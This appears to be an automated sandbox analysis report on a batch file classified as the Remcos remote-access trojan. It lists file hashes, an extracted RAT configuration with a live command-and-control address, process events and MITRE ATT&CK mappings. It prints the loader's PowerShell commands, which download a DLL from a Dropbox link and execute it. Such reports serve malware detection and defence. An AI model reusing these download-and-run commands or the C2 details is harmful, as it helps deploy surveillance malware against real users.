remcos | 6409ef31105b892c7bbc518a0817a5656fa0b37a913b7a25dcfadedc0b55ea91

General

Target

test - Kopie.bat
Size

923B
MD5

ba0a26a354f410169ac7f324090c363b
SHA1

4af549184125cc12ec7d6d60a45e967fc01b05c2
SHA256

6409ef31105b892c7bbc518a0817a5656fa0b37a913b7a25dcfadedc0b55ea91
SHA512

ec98404cc9cddbad77ff20235afcf1d71db138e23c6db543d30d498bf2aafe32bf911465cdeeee257df00dc619794d1b7ae811b5bc29bb63c5a94d5a2997bb4e

Score

10^/10

remcos remotehost execution rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

23.ip.gl.ply.gg:24321

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
Rmc.exe
copy_folder
RootRmc
delete_file
true
hide_file
true
hide_keylog_file
false
install_flag
true
install_path
%SystemDrive%
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-M1WJOM
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow	pid	Process
2	2756	powershell.exe
4	2756	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exe

pid	Process
2756	powershell.exe
4856	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid	Process
2756	powershell.exe
2756	powershell.exe
4856	powershell.exe
4856	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	2756	powershell.exe
Token: SeDebugPrivilege	4856	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

cmd.exe

description	pid	Process	procid_target
PID 4084 wrote to memory of 2756	4084	cmd.exe	80
PID 4084 wrote to memory of 2756	4084	cmd.exe	80
PID 4084 wrote to memory of 4856	4084	cmd.exe	82
PID 4084 wrote to memory of 4856	4084	cmd.exe	82

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test - Kopie.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/ced931yp7ygkbsx3fibr1/test.dll?rlkey=23mh4gtrl35mfqlt6suof5w8d&dl=1' -OutFile 'test.dll'"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -Path 'test.dll'; [TestClass]::Execute()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
5f4c933102a824f41e258078e34165a7

SHA1
d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee

SHA256
d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2

SHA512
a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d405540758f0f5bdaab94f1a054cc67d

SHA1
07e307420a26d17c2dc1226af6e72018da4ae26c

SHA256
2ad4d5239f9647362dc68a96eae37de27bdd40359126715c72d79770d3d75d61

SHA512
59496f3ae411c3eda1f20335249fa6635cba06974f07b16a181271708a0d5dd078f50ef349e98e4b53643588eb77f4c56c8e2c7fb51a5c638273009ed1b7b889

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_deejy5mx.xjb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\Users\Admin\AppData\Local\Temp\test.dll

Filesize
465KB

MD5
c52987ac16d800661b0673db0e88e040

SHA1
8887a9096dd5baa81fc841fd4066978aabc66d66

SHA256
00f66290090abad9e0c8a98e659723a29ad621862a54ff7b67dc326b4cf74ae6

SHA512
5431218a44e0a26337b6ad78f4cf225c735a104751a542cb7d882e69ba711b3001d855199c7b91d6113eca2095257daacbb642cf1e84fa1c11e913f5d401782d

Download Submit
memory/2756-16-0x00007FFBDD050000-0x00007FFBDDB12000-memory.dmp

Filesize
10.8MB

Download
memory/2756-12-0x00007FFBDD050000-0x00007FFBDDB12000-memory.dmp

Filesize
10.8MB

Download
memory/2756-0-0x00007FFBDD053000-0x00007FFBDD055000-memory.dmp

Filesize
8KB

Download
memory/2756-11-0x00007FFBDD050000-0x00007FFBDDB12000-memory.dmp

Filesize
10.8MB

Download
memory/2756-10-0x00007FFBDD050000-0x00007FFBDDB12000-memory.dmp

Filesize
10.8MB

Download
memory/2756-9-0x00000243C8950000-0x00000243C8972000-memory.dmp

Filesize
136KB

Download
memory/4856-18-0x00007FFBDD050000-0x00007FFBDDB12000-memory.dmp

Filesize
10.8MB

Download
memory/4856-27-0x00007FFBDD050000-0x00007FFBDDB12000-memory.dmp

Filesize
10.8MB

Download
memory/4856-28-0x00007FFBDD050000-0x00007FFBDDB12000-memory.dmp

Filesize
10.8MB

Download
memory/4856-30-0x00007FFBDD050000-0x00007FFBDDB12000-memory.dmp

Filesize
10.8MB

Download
memory/4856-33-0x00007FFBDD050000-0x00007FFBDDB12000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads